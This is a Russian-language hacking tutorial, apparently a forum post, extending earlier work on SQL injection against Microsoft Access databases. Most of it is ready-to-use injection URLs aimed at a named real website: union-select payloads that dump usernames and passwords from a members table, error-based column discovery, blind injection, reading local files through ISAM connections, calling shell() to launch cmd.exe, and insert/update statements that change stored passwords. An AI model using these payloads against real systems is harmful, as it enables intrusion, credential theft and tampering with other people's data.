============================================== [Microsoft Access SQL Injection] - Дополнения. v1.1 ============================================== ================= Вместо вступления ================= В этой статье я освещу некоторые фишки (в том числе от Майкрософт), результаты моей работы в области взлома MSAccess, ключевые моменты вольно переведённой мной статьи по пентестингу аксесса и ответы на некоторые возникающие вопросы; можете считать это дополнением к исследованию товарища [53x]Shadow. В качестве примера будет использована уязвимость, найденная на http://www.spokanemarcom[antigoogle].com Ссылки, копирайты и тд - в конце. ====== Начало ====== Известно, что MS Access не поддерживает ни один вид комментариев, но для усечения запроса можно использовать %00 или %16, последнее нужно использовать, если нулл-байт вызывает ошибку (Division by zero). Аналогами concat() в msaccess являются "+" в урл-енкоде - "%2b" и амперсанд - "&", если не работает одно, то пашет второе. Выражение, заключенное в кавычки (апострофы), не может содержать внутренние кавычки (апострофы). Две кавычки ("") в строке воспринимаются в Access как одна кавычка. Для представления символа кавычки в строковом выражении может использоваться символ сhr(34), где 34 — код кавычки в стандарте ANSI. До версии 2007 года движком ms access был MS Jet, после - Access Connectivity Engine (ACE). ======= Функции ======= rnd() - Возвращает значение типа Single, содержащее случайное число. Функция Rnd возвращает значение меньше 1 и не меньше нуля. first(), last() - Возвращают значение поля из первой или последней записи в результирующем наборе, который возвращается запросом. iif() - Данная функция возвращает одну из двух частей в зависимости от результата вычисления выражения. iif(выражение, если_истина, если_ложь) min(), max() - Возвращают минимальное или максимальное из значений, содержащихся в заданном поле запроса. count() - Вычисляет количество записей, возвращенных запросом. ...select+count(*)+as+AllUsers+from+Users ...select+count('ShippedDate & Freight')+from+Orders chr() - Перевод строки в chr-представление (понадобится для обхода фильтрации) сhr(10) возвращает знак переноса строки. asc() - Перевод строки в ASCII-представление mid() - Можно использовать для создания подзапроса. Цифра_1 указывает, с какого символа начинать выводить данные, цифра_2 - сколько данных вывести mid(значение,цифра_1,цифра_2) Как-то так: http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,mid(username%2bchr(58)%2bpassword,1),3,4,5,6,7,8,9,10,11+from+members%00 typename() - определение типа данных ===================== Системные переменные: ===================== date() - текущая дата now - системное время ================== ...select+top+n... ================== top n [percent] возвращает определенное число записей, находящихся в начале или в конце диапазона, описанного с помощью предложения ORDER BY. Следующая инструкция SQL позволяет получить список пользователей с паролями, у которых id больше десяти: ...select+top+25+username%2bchr(59)%2bpassword+from+members+where+id>10+order+by+id%00 Если предложение ORDER BY будет опущено, запрос возвратит произвольный набор 25 записей из таблицы "members", удовлетворяющих предложению where. Предикат TOP не осуществляет выбор между равными значениями. ========================== ...with+owneraccess+option ========================== Всё по словам Microsoft. Используется для предоставления пользователю, работающему с запросом, разрешений, соответствующих разрешениям владельца запроса. Следующий пример показывает, как можно просматривать сведения о пользователях (даже если нет доступа к таблице members) при условии, что владелец запроса имеет данное разрешение. ...select+username%2bpassword%2bemail+from+members+order+by+username+with+owneraccess+option Если пользователю запрещено создавать таблицу или вносить в нее изменения, то при помощи WITH OWNERACCESS OPTION можно выполнить запрос на создание таблицы или запрос на добавление. Данный параметр требует наличия доступа к файлу System.mdw, сопоставленному базе данных (он используется только при работе в защищенных многопользовательских системах). ======================= О подстановочных знаках ======================= Запрос с подстановочными знаками в условиях отбора может в разных режимах возвращать разные результаты. Например, по-разному будут выполняться следующие запросы. Запрос ANSI-89 SQL в базе данных, настроенной на режим запросов ANSI-92, например: ...select+*+from+users+where+country+like+'U*' В нем будут возвращены все пользователи из страны «U*», а не из всех стран на «U», поскольку звездочка (*) не является подстановочным знаком в ANSI-92 SQL. Запрос ANSI-92 SQL в базе данных, настроенной на режим запросов ANSI-89, например: ...select+*+from+users+where+country+like+'U%' В нем будут возвращены все пользователи из страны «U%», а не из всех стран на «U», поскольку знак процентов (%) не является подстановочным знаком в ANSI-89 SQL. Примеры поиска с помощью like (alike): -------------------------------------- ...+select+top+1+members.password+from+members+where+members.username+alike+'admi_'%00 ...+select+top+1+password+from+members+where+username+like+'adm__'%00 ...+select+top+1+password+from+members+where+(username+like+"adm*")%00 ...+select+top+1+password+from+members+where+username+like+chr(97)%2bchr(100)%2bchr(109)%2bchr(105)%2bchr(110)%00 ...+select+top+1+password+from+members+where+username+like+'[a-cA-C0-9]'%00 ============= Type mismatch ============= При несовпадении типа данных переводим в нужный при помощи StrConv() Пример: strconv(admin,1) -> ADMIN Основные значения: Каждая из этих функций приводит выражение к определенному типу данных. В скобках любое строковое или числовое "выражение". Тип возвращаемого значения определяется по имени функции в соответствии со следующей таблицей: ==================== О системных таблицах ==================== Да, в большинстве случаев к ним нет доступа, но уж если такое произошло.. ===================== Определение версии БД ===================== Табличка: Определяется, думаю, понятно как; приведу пример: http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+1,2,3,4,5,6,7,8,9,10,11+from+MSysModules2%00Получаем "...Make sure it exists and that its name is spelled correctly...", значит, такой таблицы не существует и версия > 1997 года, продолжаем. http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+1,2,3,4,5,6,7,8,9,10,11+from+MSysAccessObjects%00Страница отобразилась нормально. http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+1,2,3,4,5,6,7,8,9,10,11+from+MSysAccessXML%00Ничего не отобразило, но нет и ошибки, значит, таблица существует. Следовательно, версия БД - 2000. ================== Определение движка ================== 1\ это JET, если в ошибке мы видим: [Microsoft][ODBC Microsoft Access Driver] или Microsoft JET Database Engine 2\ это ACE, если: Microsoft Office Access Database Engine то есть мы имеем дело с 2007 версией БД ========================= Использование символа "|" ========================= Работает ТОЛЬКО в MS Jet v3.5, позволяет использовать содержимое между "||" до парсинга всего запроса. Например: http://www.site.com/news.asp?id=|99+1|%16 ====================== Получение имён колонок ====================== Вариант 1: ---------- Если в select'е не используется "*", например: SELECT id, email FROM users WHERE username='user' and password='pass' то, используя group by, можно получить имена колонок: SELECT id, email FROM users WHERE username='1' GROUP BY 1 HAVING '1'='1' and password='' Пример вывода в ошибке: Microsoft JET Database Engine (0x80040E21) You tried to execute a query that does not include the specified expression 'id' as part of an aggregate function. Продолжаем, второй запрос: SELECT id, email FROM users WHERE username='1' GROUP BY 1,id HAVING '1'='1' and password='' Получим, допустим, "...'email'...", составим следующее: SELECT id, email FROM users WHERE username='1' GROUP BY 1,id,email HAVING '1'='1' and password='' И т.д. Если в ответ получаем ошибку: Microsoft JET Database Engine (0x80040E21) You tried to execute a query that does not include the specified expression ''1'='1' and password=''' as part of an aggregate function. значит, мы получили имена всех колонок. Вариант 2: ---------- 1\ Если в запросе используется "*" и существует ошибка типа: Microsoft JET Database Engine (0x80040E21) Cannot group on fields selected with '*'. то мы можем получить имя одной колонки следующим образом: SELECT * FROM users WHERE username='1' HAVING sum('1')='1' and password='' В ответ получаем: Microsoft JET Database Engine (0x80040E21) You tried to execute a query that does not include the specified expression 'ID' as part of an aggregate function. В её имени может содержаться, например, префикс, что поможет в следующем шаге. 2\ Брутфорс. Если имя подобрано правильно, то не будет выведена ошибка (...No value given for...). SELECT * FROM users WHERE username='1' AND имя_колонки='1' and password='' Вариант 3: ---------- Похож на второй, возможен при известном имени таблицы; составляем запрос: SELECT * FROM users WHERE username='1' UNION SELECT имя_колонки, null FROM имя_таблицы WHERE '1'='1' and password='' При правильно подобранном имени колонки не будет ошибки. ================================= Определение типа данных в колонке ================================= Для этого существует функция TypeName() Пример использования: SELECT * FROM users WHERE username='1' UNION SELECT TypeName(имя_колонки), null FROM имя_таблицы WHERE '1'='1' and password='' http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,typename(username),3,4,5,6,7,8,9,10,11+from+members%00 ========== Внешние БД ========== В MS Jet есть возможность просматривать данные из внешних БД (здесь имеются в виду базы формата ms access). Делается так: SELECT * FROM users WHERE username='1' UNION SELECT id FROM имя_таблицы IN 'путь_к_бд' WHERE '1'='1' and password='' Запрос "...select+id+from+(c:\db\database.mdb)+users..." аналогичен "...select+id+from+[c:\db\database.mdb].users...", также "...select+id+from+users+in+'c:\db\database.mdb'..." =========================================== Чтение файлов отличных от формата ms access =========================================== Читать возможно файлы форматов txt, csv, tab, asc, tmp, htm, html 1\ Для начала нужно достать путь к БД при помощи раскрытия, описанного [53x]Shadow: http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,*,3,4,5,6,7,8,9,10,11+from+ololo+in+'.'%00Путь - c:\windows\system32\inetsrv 2\ Читаем так: http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,*,3,4,5,6,7,8,9,10,11+from+[TEXT;DATABASE=c:\windows\system32\inetsrv].[c:\some_name.txt]%00 или, похожий запрос: http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,*,3,4,5,6,7,8,9,10,11+from+[Excel+8.0;DATABASE=c:\ololo.xls].[sheet1$]%00 Здесь поясню. Запрос строится так: Для подключений типа ISAM ------------------------- ...FROM+[тип_данных;DATABASE=путь_к_бд].[путь_к_файлу]Тип данных можно посмотреть в реестре в ветвях: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Jet\4.0\ISAM Formats" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\12.0\Access Connectivity Engine\ISAM Formats" Для ODBC -------- ...FROM+[ODBC;DRIVER=имя_драйвера]Смотрим тут: "HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBCINST.INI" Но так как MS Jet не позволяет использовать подключение ODBC к драйверу MS Access, то придётся использовать ISAM. TOP 1 используется для нумерации строк. ========== Команды ОС ========== Если субд работает не в защищённом режиме (т.е. он либо выключен, либо версия MS Jet < 3.51.33x), то возможно использовать системные команды. CurDir() - Возвращает значение типа Variant (String), указывающее текущий путь. Dir() - Возвращает значение типа String, определяющее имя файла, каталога или папки, которое соответствует указанному шаблону, атрибуту файла либо метке тома диска. dir('c:\') FileDateTime() - Возвращает значение типа Variant (Date), указывающее дату и время создания или последнего изменения файла. filedatetime('c:\boot.ini') FileLen() - Возвращает значение типа Long, задающее длину файла в байтах. filelen('c:\boot.ini') GetAttr() - Данная функция возвращает значение типа Integer, представляющее атрибуты файла, каталога или папки. getattr('c:\boot.ini') Shell() - Запускает исполняемую программу и возвращает значение типа Variant (Double), содержащее код задачи этой программы, если запуск прошел успешно; в противном случае возвращает нуль. shell('c:\windows\system32\cmd.exe') ========================================= Об инъекциях в insert, update, delete, select ... into ========================================= По аналогии с другими субд +union+insert+into+members+(id,username,password)+values+('999','some_name','password')%00 Или: +union+update+members+set+password=pass+where+username='[email protected]'%00 Создание таблицы, запись в файл: +union+select+IIf(False,CLng(0),%22%22)+as+a+into+ololo%00 +union+select+'param_pam_pam'+into+[TEXT;DATABASE=c:\windows\system32\inetsrv].[c:\windows\win_log.txt]%00 =============== Blind Injection =============== Здесь всё обстоит так же, как и в других СУБД, например берём ASCII-значение имени пользователя и сравниваем, пока хватит терпения: http://www.spokanemarcom[antigoogle].com/news.asp?id=1+and+asc(mid((select+top+1+username+from+members),1,1))=97%00 Или, вариант номер 2: http://www.spokanemarcom[antigoogle].com/news.asp?id=iif((select+mid(last(username),1,1)+from+(select+top+1+username+from+members))='a',0,'no')%00 Номер 3: http://www.spokanemarcom[antigoogle].com/news.asp?id=1+and+1=0+or+'a'=iif((select+mid(last(username),1,1)+from+(select+top+1+username+from+members))='a','a','b')%00 ================= Примеры запросов: ================= http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,username%2bchr(59)%2bpassword,3,4,5,6,7,8,9,10,11+from+members+order+by+id%00 http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,username,3,4,5,6,7,8,9,10,11+from+members+where+username+not+in+(select+top+1+username+from+members)%00 Вывод содержимого нескольких полей за один запрос: http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+1,(select+top+1+username+from+members)%2bchr(58)%2b(select+top+1+username+from+members+where+username+not+in+(select+top+1+username+from+members)),3,4,5,6,7,8,9,10,11+from+members%00 ======= Ссылки: ======= http://techonthenet.com/access/functions/index_alpha.php http://office.microsoft.com/ru-ru/access/CH010410161049.aspx http://office.microsoft.com/ru-ru/access/HP010441931049.aspx http://office.microsoft.com/ru-ru/access/CH010410171049.aspx http://office.microsoft.com/ru-ru/access/CH010410211049.aspx http://technet.microsoft.com/ru-ru/library/cc512676(en-us).aspx https://forum.antichat.ru/thread50550.html Материал Видео Пашкелы по взлому аксесса Тулзой З.Ы. Конструктивная критика и дополнения приветствуются (с)